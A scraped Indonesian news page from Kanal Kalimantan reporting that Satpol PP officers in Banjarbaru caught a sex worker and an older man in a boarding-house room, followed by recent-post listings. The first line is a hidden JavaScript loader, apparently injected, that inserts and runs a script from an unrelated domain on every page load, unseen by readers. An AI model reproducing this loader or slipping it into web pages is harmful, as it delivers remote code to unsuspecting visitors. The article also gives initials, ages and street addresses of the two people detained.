(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

BUGIL. Pria Tua Ini Siap “Main” dengan PSK, Eh… Kepergok Satpol PP Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Giat patroli yang dilaksanakan Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru menciduk praktek prostitusi yang dilakukan seorang wanita pekerja seks komersial (PSK) bersama teman pria lanjut usia, di Jalan Sungai Salak (Batu Besi), Kecamatan Landasan Ulin, Kota Banjarbaru, Rabu (15/4/2020) siang.

Adapun indentitas PSK tersebut berinisal P (36) warga Jalan Golf Komplek Pondok Pisang Kecamatan Liang Anggang. Sedangkan, pria hidung belang yang juga ikut diciduk adalah S (55) bertempat tinggal di Jalan Guntung Harapan, Kecamatan Landasan Ulin.

Pasangan bukan suami istri ini tidak mampu mengelak saat digerebek petugas. Apalagi, sang pria berusia lanjut tersebut tengah dalam kondisi tak mengenakan pakaian (telanjang).

Kepala Satpol PP Banjarbaru Marhain Rahman melalui PPNS Kasi Teknis Fungsional Hairunnisa Halim mengatakan, awalnya petugas melihat seorang wanita menujukan gelagat mencurigakan yang berlari ke dalam kamar sebuah indekos. Benar saja, saat masuk ke dalam kamar tersebut, petugas mendapati adanya praktek prostitusi.

“Jadi, mereka ini baru mau melakukan hubungan intim. Itu dibuktikan dengan kondisi pria yang sudah dalam keadaan telanjang bulat,” kata Nisa -sapaan akrabnya.

Terbukti adanya praktek prostitusi ini, membuat P dan S harus digiring ke Mako Satpol PP Kota Banjarbaru untuk menjalani pemeriksaan. Selain itu, petugas juga mengamankan barang bukti berupa kasur dan tisu.

Dari hasil pemeriksaan, diduga bahwa P baru-baru saja menggeluti praktek prostitusi dengan berprofesi sebagai PSK. Wanita tersebut juga mengaku baru seminggu ini menempati kamar di bangunan indekos tersebut.

Sialnya bagi S -si pria hidung belang- juga harus tersandung kasus ini. Pria lanjut usia tersebut juga terancam akan dikenakan sanksi tegas.

“Keduanya akan kita suruh membuat BAP. Besok akan kita panggil lagi, untuk membuat surat pernyataan dan harus membawa saksi yakni dari pihak keluarga masing-masing. Untuk yang wanita, kita tidak memperbolehkan lagi untuk tinggal di kamar indekos itu,” tegas Nisa. (kanalkalimantan.com/rico)

Reporter : rico
Editor : kk

 


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

2 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

5 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

10 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

11 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

13 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

17 jam ago

This website uses cookies.